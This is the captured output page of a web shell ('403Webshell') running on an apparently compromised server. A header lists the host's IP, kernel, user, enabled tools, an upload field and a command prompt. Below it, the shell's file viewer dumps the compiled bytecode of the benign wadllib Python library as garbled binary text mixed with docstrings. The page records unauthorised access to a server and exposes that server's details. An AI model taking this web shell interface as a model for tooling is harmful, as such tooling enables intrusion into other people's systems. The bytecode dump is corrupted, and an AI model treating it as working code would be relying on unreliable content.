403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/wadllib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/wadllib/__pycache__/application.cpython-314.pyc
+
:�hO���
�Rt.R+Ot^RIt^RIHt^RIt^RIt^RIt^RIt^RI	t	^RI
t
^R
IHt^RI
HuHt^RIHtHt^RIHtRtRtRtRtRt!RR
]4t!RR]4t!RR]4t!RR4t!RR4t !RR]4t!!RR]!4t"!R R]4t#!R!R"]] 4t$!R#R] 4t%!R$R]!] 4t&!R%R]4t'!R&R']4t(!R(R]!4t)!R)R	]4t*!R*R]4t+R#),a�Navigate the resources exposed by a web service.

The wadllib library helps a web client navigate the resources
exposed by a web service. The service defines its resources in a
single WADL file. wadllib parses this file and gives access to the
resources defined inside. The client code can see the capabilities of
a given resource and make the corresponding HTTP requests.

If a request returns a representation of the resource, the client can
bind the string representation to the wadllib Resource object.
�Application�Link�Method�NoBoundRepresentationError�	Parameter�RepresentationDefinition�ResponseDefinition�Resource�ResourceType�	WADLErrorN)�quote)�	urlencode)�URI�merge)�iso_strptimez	xmlns:mapz http://www.w3.org/2001/XMLSchemac��RV,#)z)Scope a tag name with the WADL namespace.z&{http://research.sun.com/wadl/2006/10}���tag_names&�5/usr/lib/python3/dist-packages/wadllib/application.py�wadl_tagr=s
��3�h�>�>�c�&�R\V4,#)z#Turn a tag name into an XPath path.z./)rrs&r�
wadl_xpathrBs���(�8�$�$�$rc�J�/pVFpVfK	VPV4K	V#)z<Merge any number of dictionaries, some of which may be None.)�update)�dicts�final�dicts*  r�_merge_dictsrGs*���E������L�L�����Lrc��]tRt^PtRtRtR#)rzAAn exception having to do with the state of the WADL application.rN��__name__�
__module__�__qualname__�__firstlineno__�__doc__�__static_attributes__rrrrrPs��K�rc��]tRt^UtRtRtR#)ra-An unbound resource was used where wadllib expected a bound resource.

To obtain the value of a resource's parameter, you first must bind
the resource to a representation. Otherwise the resource has no
idea what the value is and doesn't even know if you've given it a
parameter name that makes sense.
rNr!rrrrrUs��rc��]tRt^_tRtRtR#)�UnsupportedMediaTypeErrorz�A media type was given that's not supported in this context.

A resource can only be bound to media types it has representations
of.
rNr!rrrr*r*_s��rr*c��]tRt^gtRtRtR#)�WADLBasez?A base class for objects that contain WADL-derived information.rNr!rrrr,r,gs��Irr,c�8a�]tRt^ktoRtRRltRRltRtVtR#)�HasParametersMixinzAA mixin class for objects that have associated Parameter objects.Nc�8�Vf
VPpVf\R4hVPf.#VPP\	R44pVf.#VUu.uF0pVP
P
R4V9gK%\W$4NK2	up#uupi)z6Find subsidiary parameters that have the given styles.z&Could not find any particular resource�param�style)�resource�
ValueError�tag�findallr�attrib�getr)�self�stylesr2�
param_tags�	param_tags&&&  r�params�HasParametersMixin.paramsns������}�}�H����E�F�F��8�8���I��X�X�%�%�j��&9�:�
����I�!+�<�!+�I��#�#�'�'��0�F�:�/�	�(�.�!+�<�	<��<s�"B�Bc��\W$4p/pVEF,pVPpVPeTWr9d@W',VP8wd)\RW',:RV:RVP:R24hVPW'&VPUu.uFq�P
NK	p	p\
V	4^8�dAWr9d;W',V	9d.\RW',:RV:RRPV	4:R24hV'd+VP'dWr9d\R	V,4hWr9gEK W',WW&W'EK/	\
V4^8�d0\R
RPVP44,4hV#uupi)a\Make sure the given valueset is valid.

A valueset might be invalid because it contradicts a fixed
value or (if enforce_completeness is True) because it lacks a
required value.

:param params: A list of Parameter objects.
:param param_values: A dictionary of parameter values. May include
   paramters whose names are not valid Python identifiers.
:param enforce_completeness: If True, this method will raise
   an exception when the given value set lacks a value for a
   required parameter.
:param kw_param_values: A dictionary of parameter values.
:return: A dictionary of validated parameter values.
zValue 'z' for parameter 'z' conflicts with fixed value '�'zInvalid value 'z': valid values are: "z", "�"z$No value for required parameter '%s'zUnrecognized parameter(s): '%s'z', ')
r�name�fixed_valuer3�options�value�len�join�is_required�keys)
r8r<�param_values�enforce_completeness�kw_param_values�validated_valuesr0rA�optionrCs
&&&&,     r�validate_param_values�(HasParametersMixin.validate_param_values}so��"$�L�B�����E��:�:�D�� � �,��(�(�.�%�2C�2C�C�$�(4�(:�(:�D�(-�(9�(9�&;�<�<�&+�%6�%6��"�27�-�-�@�-��|�|�-�G�@��G��q� �T�%9�$�*�'�9� �$�*�*�D�&�+�+�g�2F�"H�I�I�%��):�):�):��0� �!G�#'�"(�)�)��#�)5�);� �&� �&�-�.�|��q� ��>�%�{�{�<�+<�+<�+>�?�@�A�
A����!As�Fr�N)T)	r"r#r$r%r&r<rNr'�__classdictcell__��
__classdict__s@rr.r.ks����K�
<�- �- rr.c�<a�]tRt^�toRtRtRtRtRtRt	Vt
R#)�WADLResolvableDefinitionz=A base class for objects whose definitions may be references.c� �RVnWnR#)z�Initialize with a WADL application.

:param application: A WADLDefinition. Relative links are
    assumed to be relative to this object's URL.
N��_definition�application)r8rYs&&r�__init__�!WADLResolvableDefinition.__init__�s�� ���&�rc��VPe
VP#VP4pVf	WnV#VPPV4pVP	V4pVf\RV,4hW0nV#)a�Return the definition of this object, wherever it is.

Resource is a good example. A WADL <resource> tag
may contain a large number of nested tags describing a
resource, or it may just contain a 'type' attribute that
references a <resource_type> which contains those same
tags. Resource.resolve_definition() will return the original
Resource object in the first case, and a
ResourceType object in the second case.
�No such XML ID: "%s")rX�_get_definition_urlrY�
lookup_xml_id�_definition_factory�KeyError)r8�
object_url�xml_id�
definitions&   r�resolve_definition�+WADLResolvableDefinition.resolve_definition�s������'��#�#�#��-�-�/�
��� $���K��!�!�/�/�
�;���-�-�f�5�
����1�J�>�?�?�%���rc��\4h)zhTransform an XML ID into a wadllib wrapper object.

Which kind of object it is depends on the subclass.
��NotImplementedError�r8�ids&&rr`�,WADLResolvableDefinition._definition_factory��
��
"�#�#rc��\4h)z]Find the URL that identifies an external reference.

How to do this depends on the subclass.
rh�r8s&rr^�,WADLResolvableDefinition._get_definition_url�rmrrWN)r"r#r$r%r&rZrer`r^r'rQrRs@rrUrU�s"����G�'� �D$�$�$rrUc��aa�]tRt^�toRtRV3Rllt]R4t]R4t]R4t	RRlt
RtRRltRR	lt
RR
lt]R4tRRltR
tRtRtRtRRltRtRtVtV;t#)r	z/A resource, possibly bound to a representation.c�X<�\SV`V4W n\V\4'd,VP
P
V4PVnMW0nRVnVe�VR8XdqV'db\VR4'd+\P!VP44VnM>\P!\	V44VnMW@nM\RV,4hWPnVe/Ve	WpnR#VP!VP4VnR#R#)a�
:param application: A WADLApplication.
:param url: The URL to this resource.
:param resource_type: An ElementTree <resource> or <resource_type> tag.
:param representation: A string representation.
:param media_type: The media type of the representation.
:param representation_needs_processing: Set to False if the
    'representation' parameter should be used as
    is. Otherwise, it will be transformed from a string into
    an appropriate Python data structure, depending on its
    media type.
:param representation_definition: A RepresentationDefinition
    object describing the structure of this
    representation. Used in cases when the representation
    isn't the result of sending a standard GET to the
    resource.
N�application/json�decodez?This resource doesn't define a representation for media type %s)�superrZ�_url�
isinstance�strrY�get_resource_typer4�representation�hasattr�json�loadsrtr*�
media_type�representation_definition�get_representation_definition)	r8rY�url�
resource_typerzr~�representation_needs_processingr�	__class__s	&&&&&&&&�rrZ�Resource.__init__�s���*	����%��	��m�S�)�)��'�'�9�9�-�H�L�L�D�H�%�H�"����%��/�/�2��~�x�8�8�.2�j�j�*�1�1�3�/5��+�/3�j�j��^�9L�.M��+�*8�'�/�$�&0�1�2�2�%���%�(�4�1J�.��6�6�t���G��.�	&rc��VP#)z Return the URL to this resource.)rvros&rr��Resource.url$s���y�y�rc�Z�VPfR#VPPPR4pVeV#VPPPR4pVeG\VPP
4P
4p\V4R,V,#R#)z@Return the URL to the type definition for this resource, if any.N�typerk�#)r4r6r7rrY�
markup_url�ensureSlashrx)r8r��type_id�bases&   r�type_url�Resource.type_url)s����8�8����h�h�o�o�!�!�&�)���?��J��(�(�/�/�%�%�d�+�����t�'�'�2�2�3�?�?�A�D��t�9�s�?�W�,�,�rc�<�VPPR,#)zReturn the ID of this resource.rk)r4r6ros&rrk�Resource.id;s���x�x���t�$�$rc	�^�\VPVPVPWVV4#)a7Bind the resource to a representation of that resource.

:param representation: A string representation
:param media_type: The media type of the representation.
:param representation_needs_processing: Set to False if the
    'representation' parameter should be used as
    is.
:param representation_definition: A RepresentationDefinition
    object describing the structure of this
    representation. Used in cases when the representation
    isn't the result of sending a standard GET to the
    resource.
:return: A Resource bound to a particular representation.
)r	rYr�r4)r8rzr~r�rs&&&&&r�bind�
Resource.bind@s.��"��(�(�$�(�(�D�H�H�&�7�1�3�	3rc���VPR4PpVFApVP4PpVPPR4V8XgK?Vu#	\
RV,4h)z<Get a description of one of this resource's representations.�GET�	mediaTypez4No definition for representation with media type %s.)�
get_method�responserer4r6r7r*)r8r~�default_get_responserz�representation_tags&&   rr��&Resource.get_representation_definitionVst��#���u�5�>�>��2�N�!/�!B�!B�!D�!H�!H��!�(�(�,�,�[�9�Z�G�%�%�3�(�)>�@J�)K�L�	Lrc�
�VP4FnpVPPRR4P4pVeWaP48XgKG\	W4pVPW#V4'gKlVu#	R#)a�Look up one of this resource's methods by HTTP method.

:param http_method: The HTTP method used to invoke the desired
                    method. Case-insensitive and optional.

:param media_type: The media type of the representation
                   accepted by the method. Optional.

:param query_params: The names and values of any fixed query
                     parameters used to distinguish between
                     two methods that use the same HTTP
                     method. Optional.

:param representation_params: The names and values of any
                     fixed representation parameters used to
                     distinguish between two methods that use
                     the same HTTP method and have the same
                     media type. Optional.

:return: A MethodDefinition, or None if there's no definition
          that fits the given constraints.
rA�N)�_method_tag_iterr6r7�lowerr�is_described_by)r8�http_methodr~�query_params�representation_params�
method_tagrA�methods&&&&&   rr��Resource.get_method`sz��0�/�/�1�J��$�$�(�(���4�:�:�<�D��"�d�.?�.?�.A�&A���1���)�)�*�*?�A�A�!�M�
2�rc�B�VPV4PV4#)aNA list of this resource's parameters.

:param media_type: Media type of the representation definition
    whose parameters are being named. Must be present unless
    this resource is bound to a representation.

:raise NoBoundRepresentationError: If this resource is not
    bound to a representation and media_type was not provided.
)�_find_representation_definitionr<�r8r~s&&r�
parameters�Resource.parameters�s#���3�3�����t��	%rc�B�VPV4PV4#)aRA list naming this resource's parameters.

:param media_type: Media type of the representation definition
    whose parameters are being named. Must be present unless
    this resource is bound to a representation.

:raise NoBoundRepresentationError: If this resource is not
    bound to a representation and media_type was not provided.
)r��parameter_namesr�s&&rr��Resource.parameter_names�s$���3�3���'���-�	.rc#�V"�VP4Fp\W4x�K	R#5i)z6An iterator over the methods defined on this resource.N)r�r)r8r�s& r�method_iter�Resource.method_iter�s%����/�/�1�J���*�*�2�s�')c���VPV4pVPpVP\R44F0pVPPR4V8XgK%\
W4u#	R#)a�Find a parameter within a representation definition.

:param param_name: Name of the parameter to find.

:param media_type: Media type of the representation definition
    whose parameters are being named. Must be present unless
    this resource is bound to a representation.

:raise NoBoundRepresentationError: If this resource is not
    bound to a representation and media_type was not provided.
r0rAN)r�r4r5rr6r7r)r8�
param_namer~rdr�r;s&&&   r�
get_parameter�Resource.get_parameter�sb���9�9�*�E�
�'�^�^��+�3�3�J�w�4G�H�I����#�#�F�+�z�9� ��1�1�I�rc�x�VPf\R4hVPR8Xd�VPR8wd\	RVP,4hVPVP
,pVeIVP
VPVP4wr4V\8XdVR9d\V4pV#V#\	RVP,4h \dP\P!\P!TR4R,!pT# \d
\T4hi;ii;i)	z�Find the value of a parameter, given the Parameter object.

:raise ValueError: If the parameter value can't be converted into
its defined type.
z,Resource is not bound to any representation.rs�plain�8Don't know how to find value for a parameter of type %s.z%Y-%m-%d:��NzEPath traversal not implemented for a representation of media type %s.)�dateTime�date)rzrr~r1rirA�_dereference_namespacer4r��XML_SCHEMA_NS_URIrr3�datetime�time�strptime)r8�	parameterrD�
namespace_url�	data_types&&   r�get_parameter_value�Resource.get_parameter_value�sA�����&�,�>�@�
@��?�?�0�0����'�)�)��!*���1�2�2��'�'�	���7�E�� �+/�+F�+F��M�M�9�>�>�,3�(�
�!�%6�6�%�)=�=�4� ,�U� 3���L�5�L�!�#G�$(�O�O�#4�5�	5��&�	4�4�$,�$5�$5�"&�-�-��z�"B�3�"G�%J�E��L�� *�4�#-�U�"3�3�	4��	4�s�4C�D9�+0D�D5�5D9c��VeRV9dVPR^4wr2MRpVP\4pVPVR4pWR3#)zxSplits a value into namespace URI and value.

:param tag: A tag to use as context when mapping namespace
names to URIs.
N�:r�)�splitr7�NS_MAP)r8r4rD�	namespace�ns_mapr�s&&&   rr��Resource._dereference_namespace�sP�������$�{�{�3��2��I�u��I��������
�
�9�d�3�
��#�#rc�L�VPPPV4#)z-Given an ID, find a ResourceType for that ID.)rY�resource_typesr7rjs&&rr`�Resource._definition_factory�s�����.�.�2�2�2�6�6rc�L�VPPPR4#)z�Return the URL that shows where a resource is 'really' defined.

If a resource's capabilities are defined by reference, the
<resource> tag's 'type' attribute will contain the URL to the
<resource_type> that defines them.
r��r4r6r7ros&rr^�Resource._get_definition_url�����x�x���"�"�6�*�*rc���VPe+VPP4pVP4#Ve"VPV4pVP4#\	R4h)a�Get the most appropriate representation definition.

If media_type is provided, the most appropriate definition is
the definition of the representation of that media type.

If this resource is bound to a representation, the most
appropriate definition is the definition of that
representation. Otherwise, the most appropriate definition is
the definition of the representation served in response to a
standard GET.

:param media_type: Media type of the definition to find. Must
    be present unless the resource is bound to a
    representation.

:raise NoBoundRepresentationError: If this resource is not
    bound to a representation and media_type was not provided.

:return: A RepresentationDefinition
zSResource is not bound to any representation, and no media media type was specified.)rzrrer�r)r8r~rds&& rr��(Resource._find_representation_definition�st��*���*��7�7�J�J�L�J��,�,�.�.�
�
#��;�;�J�G�J�
�,�,�.�.�-�,�-�
-rc#�"�VP4PpVP\R44Rjx�L
R#L5i)z+Iterate over this resource's <method> tags.r�N)rer4r5r�r8rds& rr��Resource._method_tag_iter s2����,�,�.�2�2�
��%�%�j��&:�;�;�;�s�8A�A�A)rvr~rzrr4)NNTN)rsTN)NNNNrP)r"r#r$r%r&rZ�propertyr�r�rkr�r�r�r�r�r�r�r�r�r`r^r�r�r'rQ�
__classcell__�r�rSs@@rr	r	�s�����9�5I�n��������"�%��%�3�,L��B%�.��+��+�
�&-5�^$�7�+� /�D<�<rc�a�]tRtRtoRtRt]R4t]R4t]R4t	]R4t
R
R	ltRR
ltRRlt
RtVtR#)ri&z*A wrapper around an XML <method> tag.
    c�T�WnVPPVnW nR#)zQInitialize with a <method> tag.

:param method_tag: An ElementTree <method> tag.
N)r2rYr4)r8r2r�s&&&rrZ�Method.__init__)s ��
!�
��=�=�4�4����rc�\�\WPP\R444#)z@Return the definition of a request that invokes the WADL method.�request)�RequestDefinitionr4�findrros&rr��Method.request2s!��!��x�x�}�}�Z�	�5J�'K�L�Lrc�r�\VPVPP\	R444#)z9Return the definition of the response to the WADL method.r�)rr2r4r�rros&rr��Method.response7s.��"�$�-�-�"&�(�(�-�-�
�:�0F�"G�I�	Irc�L�VPPPR4#)z)The XML ID of the WADL method definition.rkr�ros&rrk�	Method.id=s���x�x���"�"�4�(�(rc�h�VPPPR4P4#)z�The name of the WADL method definition.

This is also the name of the HTTP method (GET, POST, etc.)
that should be used to invoke the WADL method.
rA�r4r6r7r�ros&rrA�Method.nameBs&���x�x���"�"�6�*�0�0�2�2rNc�<�VPP!V3/VB#)�4Return the request URL to use to invoke this method.)r��	build_url)r8rIrKs&&,r�build_request_url�Method.build_request_urlKs���|�|�%�%�l�F�o�F�Frc�<�VPP!W3/VB#)zrBuild a representation to be sent when invoking this method.

:return: A 2-tuple of (media_type, representation).
)r�rz)r8r~rIrKs&&&,r�build_representation�Method.build_representationOs&���|�|�*�*��9�(7�9�	9rc��RpVe"VPPV4pVfR#VeA\V4^8�d1VPpVfR#VPVPVR4Ve\V4^8XdR#VeVP
V4#VPPF1pVPVPVP4VR4R#	R# \
dR#i;i \
dKWi;i)a�Returns true if this method fits the given constraints.

:param media_type: The method must accept this media type as a
                   representation.

:param query_values: These key-value pairs must be acceptable
                   as values for this method's query
                   parameters. This need not be a complete set
                   of parameters acceptable to the method.

:param representation_values: These key-value pairs must be
                   acceptable as values for this method's
                   representation parameters. Again, this need
                   not be a complete set of parameters
                   acceptable to the method.
NFT)
r�r�rErNr�r3r��representationsr<r2)r8r~�query_values�representation_valuesrzr�s&&&&  rr��Method.is_described_byXs��$���!�!�\�\�G�G���N��%���#��L�(9�A�(=��l�l�G����
��-�-��(�(�,��?�
"�)��,�-��2���%�!�1�1�%�'�
'�"�l�l�:�:�N�
��4�4�"�)�)�$�-�-�8�)�5�2��;���'�
��
��"�
��
�s$�C$�1,C6�$C3�2C3�6D�D)rYr2r4rP�NN)NNN)r"r#r$r%r&rZr�r�r�rkrAr�r�r�r'rQrRs@rrr&sx�������M��M��I��I�
�)��)��3��3�G�9�5�5rc�ha�]tRtRtoRtRt]R4t]R4tRRlt	RRlt
RR	ltR
tVt
R#)
r�i�zBA wrapper around the description of the request invoking a method.c��WnVPPVnVPPVnW nR#)z�Initialize with a <request> tag.

:param resource: The resource to which this request can be sent.
:param request_tag: An ElementTree <request> tag.
N)r�r2rYr4)r8r��request_tags&&&rrZ�RequestDefinition.__init__�s1�������,�,��
��=�=�4�4����rc�&�VPR.4#)z,Return the query parameters for this method.�query)r<ros&rr��RequestDefinition.query_params�s���{�{�G�9�%�%rc#�"�VPP\R44F&p\VPVP
V4x�K(	R#5i)rzN)r4r5rrrYr2r�s& rr��!RequestDefinition.representations�sC����(�(�*�*�:�6F�+G�H�J�*�� � �$�-�-��=�
=�I�s�AANc�^�VPFpVeVPV8XgKVu#	R#)z1Return the appropriate representation definition.N)r�r~�r8r~rzs&& rr��/RequestDefinition.get_representation_definition�s0��"�2�2�N��!�^�%>�%>�*�%L�%�%�3�rc�v�VPV4pVf\RV,4hVP!V3/VB#)zpBuild a representation to be sent along with this request.

:return: A 2-tuple of (media_type, representation).
z,Cannot build representation of media type %s)r��	TypeErrorr�)r8r~rIrKrds&&&, rrz� RequestDefinition.representation�sF���7�7�
�C�
����J�(�)�*�
*����|�?��?�?rc��VP!VPV3/VBpVPPp\	V4^8�d<RV9dRpMRpWE\\
VP444,,
pV#)r��?�&)rNr�r2r�rEr
�sorted�items)r8rIrKrLr��appends&&,   rr��RequestDefinition.build_url�s|���5�5����|�@�/>�@���m�m������ �1�$��c�z������I�f�-=�-C�-C�-E�&F�G�G�G�C��
r)rYr�r2r4rPr�)r"r#r$r%r&rZr�r�r�r�rzr�r'rQrRs@rr�r��sJ����L�	��&��&��=��=�
�
@��rr�c�La�]tRtRtoRtRRltRtRtRtRt	R	t
R
tVtR#)ri�z;A wrapper around the description of a response to a method.Nc�L�VPVnWnW nW0nR#)zWInitialize with a <response> tag.

:param response_tag: An ElementTree <response> tag.
N)rYr2r4�headers)r8r2�response_tagrs&&&&rrZ�ResponseDefinition.__init__�s!��
$�/�/��� �
����rc#��"�\R4pVPPV4F0p\VPP
VPV4x�K2	R#5i)z�Get an iterator over the representation definitions.

These are the representations returned in response to an
invocation of this method.
rzN)rr4r5rr2rY)r8�pathr�s&  r�__iter__�ResponseDefinition.__iter__�sQ����*�+��"&�(�(�"2�"2�4�"8��*��
�
�)�)�4�=�=�:L�N�
N�#9�s�AAc�D�\VPVPV4#)zwBind the response to a set of HTTP headers.

A WADL response can have associated header parameters, but no
other kind.
)rr2r4)r8rs&&rr��ResponseDefinition.bind�s��"�$�-�-����7�C�Crc��VPP\R44FRpVPP	R4V8XgK%VPP	R4R8XgKG\W4u#	R#)z,Find a header parameter within the response.r0rAr1�headerN)r4r5rr6r7r)r8r�r;s&& rr�� ResponseDefinition.get_parameter�sb�����)�)�*�W�*=�>�I�� � �$�$�V�,�
�:�!�(�(�,�,�W�5��A� ��1�1�?�rc���VPf\R4hVPR8wd\RVP,4hVPP	VP
4#)z:Find the value of a parameter, given the Parameter object.z,Response object is not bound to any headers.rr�)rrr1rir7rA)r8r�s&&rr��&ResponseDefinition.get_parameter_value�sc���<�<��,�>�@�
@��?�?�h�&�%��&�_�_�-�.�
.��|�|���	���/�/rc�b�VPfR#VFpVPV8XgKVu#	R#)z8Get one of the possible representations of the response.N)r4r~rs&& rr��0ResponseDefinition.get_representation_definitions2���8�8���"�N��(�(�J�6�%�%�#�r)rYrr2r4rP)
r"r#r$r%r&rZrr�r�r�r�r'rQrRs@rrr�s-����E��	N�D��	0��rc�aa�]tRtRtoRtV3RltV3RltRt]R4t	Rt
RtRR	ltR
t
RtRtR
tRtVtV;t#)riz2A definition of the structure of a representation.c�><�\SV`V4W nW0nR#rP)rurZr2r4)r8rYr2r�r�s&&&&�rrZ�!RepresentationDefinition.__init__s���
����%� �
�%�rc�(<�\SV`RR.V4#)rr�)rur<)r8r2r�s&&�rr<�RepresentationDefinition.paramss����w�~�w��0�(�;�;rc�`�VPV4Uu.uFq"PNK	up#uupi)z#Return the names of all parameters.)r<rA)r8r2r0s&& rr��(RepresentationDefinition.parameter_namess'��(,���H�(=�>�(=�u�
�
�(=�>�>��>s�+c�X�VP4PPR,#)z4The media type of the representation described here.r�)rer4r6ros&rr~�#RepresentationDefinition.media_types$���&�&�(�,�,�3�3�K�@�@rc��\\\P^,
44pRV,p\P
!\P4pRW4,,R,pVfV#Tp^pR\P!V4,R,PR4p\P!W�\PR7'gV#VR,\V4,pV^,
pK�)	z;Make a random boundary that does not appear in `all_parts`.z%%0%ddz==z^--z(--)?$�ascii)�flags�.z===============)rE�repr�sys�maxsize�random�	randrange�re�escape�encode�search�	MULTILINErx)	r8�	all_parts�_width�_fmt�token�boundary�b�counter�patterns	&&       r�_make_boundary�'RepresentationDefinition._make_boundarys����T�#�+�+��/�*�+���&� ��� � ����-�����.��5�����O�������r�y�y��|�+�h�6�>�>�w�G�G��9�9�W�r�|�|�D�D�����3���W��-�A��q�L�Grc��VFgwr4VPVPR44VPR4VPVPR44VPR4Ki	VPR4R#)z$Write MIME headers to a file object.�UTF-8s: �
N��writer8)r8�bufr�keyrDs&&&  r�_write_headers�'RepresentationDefinition._write_headers1s^��!�J�C��I�I�c�j�j��)�*��I�I�e���I�I�e�l�l�7�+�,��I�I�g��	"�
	�	�	�'�rc��VPR4VPVPR44V'dVPR4VPR4R#)z,Write a multipart boundary to a file object.s--rFrGNrH)r8rJr?�closings&&&&r�_write_boundary�(RepresentationDefinition._write_boundary:s>���	�	�%���	�	�(�/�/�'�*�+���I�I�e���	�	�'�rc��.pVEF�wr4p\P!4pV'd!RpR\V4:R\V4:R2pMRpR\V4,pVPVRRV3RV3.4V'dD\	V\
4'g\
R	\V4,4hVPV4M�\	V\4'g\
R
\V4,4h\P!RV4p	V	RRF4p
VPV
PR
44VPR4K6	VPV	R,PR
44VPVP44EK�	VPRP!V44p\P!4pR\V4,pVPVRRV3.4VF6pVP#Wk4VPV4VPR4K8	VP#WkRR7WvP43#)a
Generate a multipart/form-data message.

This is very loosely based on the email module in the Python standard
library. However, that module doesn't really support directly embedding
binary data in a form: various versions of Python have mangled line
separators in different ways, and none of them get it quite right.
Since we only need a tiny subset of MIME here, it's easier to implement
it ourselves.

:return: a tuple of two elements: the Content-Type of the message, and
    the entire encoded message as a byte string.
zapplication/octet-streamzform-data; name="z
"; filename="r@ztext/plain; charset="utf-8"zform-data; name="%s"zContent-TypezContent-Dispositionzbytes payload expected: %szstring payload expected: %sz
\r\n|\r|\nNrFrGz"multipart/form-data; boundary="%s"T)rO)zMIME-Versionz1.0���)�io�BytesIOrrLrw�bytesr	r�rIrxr6r�r8r�getvaluerCrFrP)
r8�parts�
encoded_parts�	is_binaryrArDrJ�ctype�cdisp�lines�liner?�encoded_parts
&&           r�_generate_multipart_form�1RepresentationDefinition._generate_multipart_formBs����
�&+�"�I�U��*�*�,�C��2���$�K��t��.��6��.��t��<������'���'�&��.�&�
�
�!�%��/�/�#�$@�4��;�$N�O�O��	�	�%� �!�%��-�-�#�5��U��C�E�E������6��!�#�2�J�D��I�I�d�k�k�'�2�3��I�I�g�&�'��	�	�%��)�*�*�7�3�4�� � �����0�?',�D�&�&�w�|�|�M�'B�C���j�j�l��4�u�X��F�����C�#�
�U�#�"�	�*�L�� � ��/��I�I�l�#��I�I�g��*�	
���S�D��9��l�l�n�$�$rc�R�VP4pVPVP4pVP!WA3/VBpVPpVR8Xd&\\
VP444pWg3#VR8Xdz.p\4p	VFQp
VPV
PV	4pW�JgK&VPV
PR8HV
PV34KS	VPV4wrgWg3#VR8Xd\P!V4pWg3#\!RV,4h)zjBind the definition to parameter values, creating a document.

:return: A 2-tuple (media_type, document).
z!application/x-www-form-urlencodedzmultipart/form-data�binaryrszUnsupported media type: '%s')rer<r2rNr~r
rr�objectr7rArr�r`r|�dumpsr3)r8rIrKrdr<rLr~�docrX�missingr0rDs&&,         rr��RepresentationDefinition.bind�s)��
�,�,�.�
��"�"�4�=�=�1���5�5��5�$3�5���_�_�
��<�<��F�#3�#9�#9�#;�<�=�C�����0�
0��E��h�G���(�,�,�U�Z�Z��A���'��L�L�%�*�*��"8�%�*�*�e�!L�M� �#�;�;�E�B�O�J�
���	�-�
-��*�*�-�.�C�����;�j�H�I�Irc�L�VPPPV4#)z9Turn a representation ID into a RepresentationDefinition.)rY�representation_definitionsr7rjs&&rr`�,RepresentationDefinition._definition_factory�s�����:�:�>�>�r�B�Brc�L�VPPPR4#)z�Find the URL containing the representation's 'real' definition.

If a representation's structure is defined by reference, the
<representation> tag's 'href' attribute will contain the URL
to the <representation> that defines the structure.
�hrefr�ros&rr^�,RepresentationDefinition._get_definition_url�r�r)r2r4)F)r"r#r$r%r&rZr<r�r�r~rCrLrPr`r�r`r^r'rQr�r�s@@rrrsX����<�&�
<�?��A��A��$��@%�D�4C�+�+rc�a�]tRtRtoRtRt]R4t]R4t]R4t	]R4t
]R4tR	t]R
4t
]R4t]R4tR
tVtR#)ri�z5One of the parameters of a representation definition.c�@�VPVnWnW nR#)a�Initialize with respect to a value container.

:param value_container: Usually the resource whose representation
    has this parameter. If the resource is bound to a representation,
    you'll be able to find the value of this parameter in the
    representation. This may also be a server response whose headers
    define a value for this parameter.
:tag: The ElementTree <param> tag for this parameter.
N)rY�value_containerr4)r8rqr4s&&&rrZ�Parameter.__init__�s��+�6�6���.���rc�L�VPPPR4#)zThe name of this parameter.rAr�ros&rrA�Parameter.name�����x�x���"�"�6�*�*rc�L�VPPPR4#)zThe style of this parameter.r1r�ros&rr1�Parameter.style�s���x�x���"�"�7�+�+rc�L�VPPPR4#)zThe XSD type of this parameter.r�r�ros&rr��Parameter.type�rurc�L�VPPPR4#)aThe value to which this parameter is fixed, if any.

A fixed parameter must be present in invocations of a WADL
method, and it must have a particular value. This is commonly
used to designate one parameter as containing the name of the
server-side operation to be invoked.
�fixedr�ros&rrB�Parameter.fixed_value�s���x�x���"�"�7�+�+rc�p�VPPPRR4P4R9#)z6Whether or not a value for this parameter is required.�required�false)�1�truer�ros&rrG�Parameter.is_required�s2�������#�#�J��8�>�>�@� �!�	"rc�8�VPPV4#)z�The value of this parameter in the bound representation/headers.

:raise NoBoundRepresentationError: If this parameter's value
       container is not bound to a representation or a set of
       headers.
)rqr�ros&r�	get_value�Parameter.get_value�s���#�#�7�7��=�=rc��VPP\R44Uu.uFp\W4NK	up#uupi)z7Return the set of acceptable values for this parameter.rM)r4r5r�Option)r8�
option_tags& rrC�Parameter.options�sF��#'�(�(�"2�"2�:�h�3G�"H�J�"H�J��t�(�"H�J�	J��Js�>c�l�VPP\R44pVfR#\W4#)z�Get the link to another resource.

The link may be examined and, if its type is of a known WADL
description, it may be followed.

:return: A Link object, or None.
�linkN)r4r�rr)r8�link_tags& rr��Parameter.link�s/���8�8�=�=��F�!3�4������D�#�#rc�P�VPpVf\R4hVP#)z�Follow a link from this parameter to a new resource.

This only works for parameters whose WADL definition includes a
<link> tag that points to a known WADL description.

:return: A Resource object for the resource at the other end
of the link.
z(This parameter isn't a link to anything.)r�r3�follow)r8r�s& r�linked_resource�Parameter.linked_resource�s(���y�y���<��G�H�H��{�{�r)rYr4rqN)r"r#r$r%r&rZr�rAr1r�rBrGr�rCr�r�r'rQrRs@rrr�s�����?���+��+��,��,��+��+��,��,��"��"�
>��J��J�
�$��$����rc�:a�]tRtRtoRtRt]R4tRtVt	R#)r�i
z0One of a set of possible values for a parameter.c��WnW nR#)zeInitialize the option.

:param parameter: A Parameter.
:param link_tag: An ElementTree <option> tag.
N�r�r4)r8r�r�s&&&rrZ�Option.__init__
s��#���rc�L�VPPPR4#)rDr�ros&rrD�Option.values���x�x���"�"�7�+�+rr�N)
r"r#r$r%r&rZr�rDr'rQrRs@rr�r�
s!����:���,��,rr�c�baa�]tRtRtoRtV3Rlt]R4t]R4tRt	Rt
RtVtV;t
#)	riz�A link from one resource to another.

Calling resolve_definition() on a Link will give you a Resource for the
type of resource linked to. An alias for this is 'follow'.
c�R<�\SV`VP4WnW nR#)zaInitialize the link.

:param parameter: A Parameter.
:param link_tag: An ElementTree <link> tag.
N)rurZrYr�r4)r8r�r�r�s&&&�rrZ�
Link.__init__"s"���	����.�.�/�"���rc�\�VP'g\R4hVP4#)z$Follow the link to another Resource.zfCannot follow a link when the target has no WADL description. Try using a general HTTP client instead.)�
can_followrreros&rr��Link.follow,s0�������.�/�
